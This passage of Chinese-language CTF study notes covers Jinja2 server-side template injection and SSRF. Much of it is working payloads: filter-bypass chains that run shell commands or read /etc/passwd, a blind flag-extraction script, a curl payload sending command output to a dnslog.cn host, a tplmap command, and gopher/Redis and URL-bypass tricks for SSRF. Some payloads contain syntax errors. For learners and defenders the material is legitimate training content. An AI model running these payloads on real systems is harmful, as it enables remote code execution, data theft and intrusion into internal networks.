"".__class__.__mro__[2]"".__class__.__mro__.__getitem__(2)['__builtins__'].__getitem__('eval')
如下示例:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().__getitem__(40)('/etc/passwd').read()}} // 指定序列属性{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(59).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
利用 pop() 绕过
pop()方法可以返回指定序列属性中的某个索引处的元素或指定字典属性中某个键对应的值,如下示例:
{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()}} // 指定序列属性{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("ls /").read()')}} // 指定字典属性
注意:最好不要用pop(),因为pop()会删除相应位置的值。
利用字典读取绕过
我们知道访问字典里的值有两种方法,一种是把相应的键放入熟悉的方括号 [] 里来访问,一种就是用点 . 来访问。所以,当方括号 [] 被过滤之后,我们还可以用点 . 的方式来访问,如下示例
// __builtins__.eval(){{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.__builtins__.eval('__import__("os").popen("ls /").read()')}}
等同于:
// [__builtins__]['eval'](){{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
过滤了引号
利用chr()绕过
先获取chr()函数,赋值给chr,后面再拼接成一个字符串
{% set chr=().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.[0].__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
等同于
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}
利用request对象绕过
示例:
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=type flag
等同于:
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('type flag').read()}}
如果过滤了args,可以将其中的request.args改为request.values,POST和GET两种方法传递的数据request.values都可以接收。
过滤了下划线__
利用request对象绕过
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('/flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('ls /').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__
等同于:
{{().__class__.__bases__[0].__subclasses__().pop(40)('/etc/passwd').read()}}{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
过滤了点 .
利用 |attr() 绕过(适用于flask)
如果 . 也被过滤,且目标是JinJa2(flask)的话,可以使用原生JinJa2函数attr(),即:
().__class__ => ()|attr("__class__")
示例:
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(77)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
等同于:
{{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
利用中括号[ ]绕过
如下示例:
{{''['__class__']['__bases__'][0]['__subclasses__']()[59]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("ls").read()')}}
等同于:
{{().__class__.__bases__.[0].__subclasses__().[59].__init__['__globals__']['__builtins__'].eval('__import__("os").popen("ls /").read()')}}
这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。
过滤了大括号 {{
我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag').read()") }}{% endif %}{% endfor %}
也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来:
{% if ''.__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('ls /' %}1{% endif %}
也可以用 {%print(......)%} 的形式来代替 {{ ,如下:
{%print(''.__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls').read())%}
{%%}盲注
open('/flag').read()是回显整个文件,但是read函数里加上参数:open('/flag').read(1),返回的就是读出所读的文件里的i个字符,以此类推,就可以盲注出了
import requests
url="http://3db27dbc-dccc-46d0-bc78-eff3fc21af74.chall.ctf.show:8080/"
flag=""
for i in range(1,100):
for j in "abcdefghijklmnopqrstuvwxyz0123456789-{}":
params={
'name':"{
{% set a=(lipsum|attr(request.values.a)).get(request.values.b).open(request.values.c).read({}) %}}{
{% if a==request.values.d %}}feng{
{% endif %}}".format(i),
'a':'__globals__',
'b':'__builtins__',
'c':'/flag',
'd':f'{flag+j}'
}
r=requests.get(url=url,params=params)
if "feng" in r.text:
flag+=j
print(flag)
if j=="}":
exit()
break
注意name那里用了{ {和}},这是因为我用的format格式化字符串,用{}来占位,如果里面本来就有{和}的话,就需要用{ {和}}来代替{和}
过滤os
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
过滤数字
全角数字代替正常数字,下面是套神博客里偷来的转换代码
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
t=''
s="0123456789"
for i in s:
t+='\''+half2full(i)+'\','
print(t)
SSTI的一些payload
#文件读取和写入
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
#每次执行都要先写然后编译执行
{{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}}
{{ config.from_pyfile('/tmp/owned.cfg') }}
#命令执行
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}}
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}}
#这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块
{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
#system函数换为popen('').read(),需要导入os模块
{{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
#不需要导入os模块,直接从别的模块调用
{{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
GitHub靶场练习
这边由于我是用Windows物理机起的环境,所以要使用type命令
linux环境下则正常使用cat flag即可
level 1
no waf
只需找到os或者是builtins来执行命令即可,下面贴几种payload
os**.**_wrap_close类比较难找所以建议直接用__builtins__
利用os执行命令:
利用for循环找到,os._wrap_close类
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag').read()") }}{% endif %}{% endfor %}
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('type flag').read()}}
利用__builtins__执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")
这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
os_wrap_close索引找不到不要怕,脚本放在下面
import requests
from tqdm import tqdm #python的进度条扩展包,显示进度信息
for i in tqdm(range(233)):
url = 'http://5bbe929e-02b0-4f8c-b7cb-c48b1e0a58b2.challenge.ctf.show/?name={{%27%27.__class__.__base__.__subclasses__()['+str(i)+']}}'
r = requests.get(url=url).text
if('os._wrap_close' in r):
print(i)
脚本找不到那就是没有了,另寻他法
level 2
过滤大括号{{
直接用eval函数导入os命令执行
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()"))%}
level 3
没有回显,考虑DNS外带
{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('curl http://`type flag`.5emu1s.dnslog.cn').read()}}
由于我的环境问题,只能找到88个子类而且没有os_wrap_close
所以没有对应的索引,尝试其他的语句也没有成功
level 4
过滤中括号[]
可以考虑利用getitem绕过
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}
但我没有os_wrap_close,所以利用pop()
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.__globals__.pop('__builtins__').pop('eval')('__import__("os").popen("type flag").read()')}}
level 5
过滤了单双引号可以使用字符串拼接绕过
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr%}{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)+chr(101)+chr(116)+chr(99)+chr(47)+chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(100)).read()}}
也可以request对象绕过
{{().__class__.__bases__[0].__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd{{().__class__.__base__.__subclasses__()[77].__init__.__globals__[request.args.os].popen(request.args.cmd).read()}}&os=os&cmd=type flag
?a=os&b=popen&c=cat /flag&code={{url_for.__globals__[request.values.a][request.values.b](request.values.c).read()}}
这是套神博客里找的ctfshow相同过滤的地址栏版payload
level 6
过滤了下划线,同样可以使用request绕过
{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[40]('type flag').read()}}&class=__class__&bases=__bases__&subclasses=__subclasses__{{()[request.args.class][request.args.bases][0][request.args.subclasses]()[77].__init__.__globals__['os'].popen('type flag').read()}}
cookie传参也可
code={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('type f*').read()
level 7
过滤了点 . 使用可以使用原生JinJa2函数attr(),也就是过滤器进行连接即可。
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}
level 8
过滤了一堆,包括 "class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"
但他没过滤引号,简单粗暴拼接就行了
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('type flag')["re""ad"]()%}{%endif%}{%endfor%}
因为os_wrap_close的问题,还是打不出来,自己构造了一个利用__builtins__的
{% for c in ""["]"["__cla""ss__"]["__ba""se__"]["__subcl""asses__"]() %}{% if c.__name__=='catch_warnings' %}{{ c["__in'"it__"]["__glo""bals__"]['__builtins__'].eval("__import__('os').popen('type flag').read()") }}{% endif %}{% endfor %}
level 9
过滤了数字,可以利用for循环来找到os._wrap_close,这样就不必使用数字。利用base寻找基类可以免去使用数字。
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag').read()") }}{% endif %}{% endfor %}
也可以考虑全角数字代替正常数字
当然,只要不带数字,第一关的payload也可以打
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
level 10
不能使用config,同样可以用第一关的payload
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}
level 11
['\'', '"', '+', 'request', '.', '[', ']']
过滤了request和一堆字符\ " + . [ ]
利用set来定义变量
使用attr()来提取使用变量绕过点,中括号
使用下面payload来获取下划线。
(lipsum|string|list)|attr(pop)(18)
使用join的方式绕过引号过滤
可以将 lipsum.**globals**.get('os').popen('cat flag').read()
构造为最终payload
{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set type=dict(type=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(type,space,dict(flag=a)|join)|join %}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
1.替换仅包含字母的字符串
{% set read=dict(read=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set get=dict(get=1)|join%}
{% set os=dict(os=1)|join%}
{{lipsum|attr("__globals__")|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
2.构造__globals__
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
3.构造命令
{% set type=dict(type=1)|join %}
{% set flag=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(type,space,flag)|join%}
最终payload
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}
level 12
比上一关多过滤了数字,可以通过index函数去从列表中获得指定字符串的下标,从而获得数字 ,payload基本不变。
从上关的payload可以看出来需要9和18两个数字,来获得下划线和空格
{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set type=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(type,space,dict(flag=a)|join)|join %}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
1.获得数字 3 和 2
{% set index=dict(index=a)|join %}
// n下标为3 u下标为2
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
2.获得下划线和空格
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
3.最终的payload
{% set read=dict(read=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set os=dict(os=a)|join%}
{% set pop=dict(pop=a)|join %}
{% set index=dict(index=a)|join %}
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set type=dict(type=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
{%set cmd=(type,space,flag)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}
level 13
比上一关多过滤了几个关键字,但是影响不到上一关的payload
使用上一关的payload即可
**组合过滤**
常用检测工具 Tplmap
工具地址:https://github.com/epinna/tplmap
和sqlmap的设计风格一致,直接一把梭
/tplmap.py --os-cmd -u 'http://www.target.com/page?name=John'
主要参考
https://www.freebuf.com/articles/web/327185.html
https://www.freebuf.com/articles/web/290756.html
https://blog.csdn.net/qq_48904485/article/details/123653544
https://www.freebuf.com/articles/network/258136.html
##SSRF漏洞##
0×01 原理概述
SSRF(Server-Side Request Forgery
) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,即内网正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统
通俗来讲,有两个网站: A网站,所有人都可以访问的外网网站的 B网站,只能内部访问的网站 A网站能访问B网站 所以,作为普通用户,我们可以访问A网站,然后篡改获取资源的来源,请求从B网站获取资源。A网站没有检测我的请求合不合法,以自己A网站的身份去访问B网站,于是我们就有机会攻击B网站。
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求 ,并返回对该目标地址请求的数据
数据流:攻击者----->服务器----->目标地址(用户无法访问的内网主机)
根据用户指定的URL,Web应用便可以获取图片,下载文件,读取文件内容等操作
可以扫描服务的私有IPv4网络列表:
10.0.0.0/8
127.0.0.1/32
172.16.0.0/12
192.168.0.0/16
我们可以通过观察响应状态和响应时间来确定指定的端口是否打开/关闭
容易出现SSRF漏洞的地方
从WEB功能上寻找
分享:通过URL地址分享网页内容
转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
在线翻译:通过URL地址翻译对应文本的内容。提供此功能的国内公司有百度、有道等
图片加载与下载:通过URL地址加载或下载图片
图片、文章收藏功能
未公开的api实现
网站采集、网页抓取的地方。
头像的地方。(远程加载头像)
一切要你输入网址的地方和可以输入ip的地方。
从URL关键字中寻找
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
......
0×02 相关的函数和协议
1. 函数
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中
readfile():输出一个文件的内容
fsockopen():打开一个网络连接或者一个Unix 套接字连接
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用
fopen():打开一个文件文件或者 URL
PHP原生类SoapClient在触发反序列化时可导致SSRF
一些注意事项:
1. 一般情况下PHP不会开启fopen的gopher wrapper
2. file_get_contents的gopher协议不能URL编码
3. file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4. curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5. curl_exec() //默认不跟踪跳转
6. file_get_contents() // file_get_contents支持php://input协议
file_get_contents()
file_get_contents函数从用户指定的url获取内容,然后指定一个文件名进行保存,并展示给用户。file_put_contents函数把一个字符串写入文件中。
比如以下代码在Win10上部署,这段代码使用file_get_contents()函数从用户指定的URL获取图片并展示给用户。和Win10同一内网的Kali在8000端口服务开启了只供内部人员使用的资料比如ssrf_flag,此时如果攻击者提交如下Payload,就可以获取到内网主机HTTP服务8000端口的开放情况
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
fsockopen()
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec()
<?php
if (isset($_POST['url'])){
$link = $_POST['url'];
$curlobj = curl_init();// 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);// 设置 URL 和相应的选项
$result=curl_exec($curlobj);// 抓取 URL 并把它传递给浏览器
curl_close($curlobj);// 关闭 cURL 资源,并且释放系统资源
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
2. 协议
file协议
在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议
泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议
gopher协议是ssrf利用中最强大的协议
gopher协议是一种信息查0找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。Gopher 协议是 HTTP 协议出现之前,在 Internet 上常见且常用的一个协议。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口当然现在 Gopher 协议已经慢慢淡出历史。
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。这无疑极大拓宽了 SSRF 的攻击面。
https://blog.csdn.net/unexpectedthing/article/details/121667791
https://blog.csdn.net/qq_60115503/article/details/124407499
https://blog.chaitin.cn/gopher-attack-surfaces/
利用:
攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求
GTE请求
构造HTTP数据包
URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束
发送gopher协议, 协议后的IP一定要接端口
POST请求
POST与GET传参的区别:它有4个参数为必要参数
需要传递Content-Type,Content-Length,host,post的参数
切记:Content-Length和POST的参数长度必须一致
例如 使用file协议读取源码:?url=file:///var/www/html/index.php
python脚本生成payload(POST和GTE请求都适用)
import urllib.parse
payload = """
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=a68a3b03e80ce7fef96007dfa01dc077
"""
tmp = urllib.parse.quote(payload) #对payload中的特殊字符进行编码
new = tmp.replace('%0A','%0D%0A') #CRLFL漏洞
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)# 对新增的部分继续编码
print(result)
还有个巨好用的工具工具地址:https://github.com/tarunkant/Gopherus
http/s协议
探测内网主机存活
0x03 漏洞利用
协议利用方法
1. 利用file协议任意文件读取
url?url=file:///etc/passwd
常见的如/var/www/html
CTFhub例题:
http://challenge-3f48eabbf8524a87.sandbox.ctfhub.com
/?url=file:///var/www/html/flag.php2.利用dict协议查看端口
查看端口及端口上运行服务的版本信息
url?url=dict://127.0.0.1
/端口开放时:
端口未开放时
3.利用gopher协议get shell
攻击内网Redis并反弹shell
利用Redis未授权访问攻击Redis
Redis一般都是绑定在6379端口。如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis,一般用来写入Crontab定时任务用来反弹shell,或者写入webshell等等。
可参考
https://www.cnblogs.com/sijidou/p/13681845.html
https://www.bilibili.com/read/cv16209804/
攻击Mysql服务
如果内网开启了3306端口,存在没有密码的mysql,则也可以使用gopher协议进行ssrf攻击。
2. 探测内网主机存活
一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。我们可以借助burp中的爆破模块进行存活主机探测。
以Pikachu靶场为例
3. 扫描内网端口
通过dict协议可以探测到内网服务器的端口,如果端口没开放不会有回显。
可以用burpsuite来完成,首先抓包,发送到Intruder进行爆破设置:
0x04 Bypass
1.SSRF URL Bypass
提示只允许下面的域名访问。
我们可以利用@来绕过
?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
2. 进制转换 Bypass
进制绕过,这里有个在线转换网站
https://tool.520101.com/wangluo/jinzhizhuanhuan/
十六进制
http://127.0.0.1/=http://0x7F.0.0.1/=http://0x7F000001/
http://192.168.0.1 转换为 http://c0.a8.00.01 或 http://0xc0a80001
八进制
http://127.0.0.1/ 转换为http://0177.0.0.1/flag.php
http://192.168.0.1/ 转换为 http://0300.0250.0000.0001 或 http://030052000001
十进制
http://0177.0.0.1/ = http://127.0.0.1 http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
一种特殊的省略模式,例如10.0.0.1这个IP可以写成10.1,127.0.0.1写成127.1
CIDR绕过localhost
url=http://0/
url=http://0.0.0.0/
url=http://[0:0:0:0:0:ffff
.0.0.1]/url=http://①②⑦.⓪.⓪.①
一些情况下点换成句号也可以实现绕过(但我不知道什么情况)
3. SSRF 302跳转bypass
3.1 方法一:借助重定向网址
网址http://xip.io 当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:当我们访问 http://127.0.0.1.xip.io/flag.php,那么实际上我们访问的是就http://127.0.0.1/flag.php。
但是http://xip.io网址不可用,失败,尝试其他网站比如:
也没有成功。
3.2 方法二:借助短链接
3.3 方法三:借助服务器重定向
当ssrf限制只能使用http或https协议,可通过Header函数绕过限制。在vps创建一个302.php的文件,根据需求设置协议类型,内容参考下图:
将对应的url参数改为:http://vpsip/302.php即可进行深度利用。
4. SSRF DNS-Rebinding重绑定
1、获取到用户输入的url
2、解析出url中host的ip
3、判断ip是否合法
4、合法则进行服务端请求。
在这个流程中,一共存在两次 DNS解析,第一次是解析HOST对对应的IP,第二次是服务端请求时解析一次IP,两次请求是存在时间差的,这个时间差对应的机制就是TTL,它表示域名和IP绑定在DNS里面能存活的时长。如果我们能在这个TTL时间内替换HOST对应的IP为内网IP,那么缓存在TTL到期时,就可以请求到内网的资源了。
总结来说,DNS 重绑定攻击的原理是:利用服务器两次解析同一域名的短暂间隙,更换域名背后的ip达到突破同源策略或过waf进行ssrf的目的。
利用DNS重绑定辅助网址:https://lock.cmpxchg8b.com/rebinder.html
5.通过各种非HTTP协议
如果服务器端程序对访问URL所采用的协议进行验证的话,可以通过非HTTP协议来进行利用。
如万金油gopher
6.符号绕过
- 在url中加@符号(http基础认证)
利用@ http://xxx.com@www.baidu.com/与http://www.baidu.com/请求时是相同的,
实际请求的是@之后的url地址
- 末尾加上#或?
- 利用封闭式字符数字ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
Enclosed alphanumerics
利用Enclosed alphanumerics ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com List: ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
DNSLOG实现无回显注入
原理:就是,将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去,然后受害者服务器去解析此域名进行请求,我们就可以在我们的ns服务器的DNS解析日志来获取到它们。DNSLOG是一种回显机制,使用者可以通过DNS解析日志来读取漏洞的回显。(将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在ns服务器的dns日志中显示出来。)
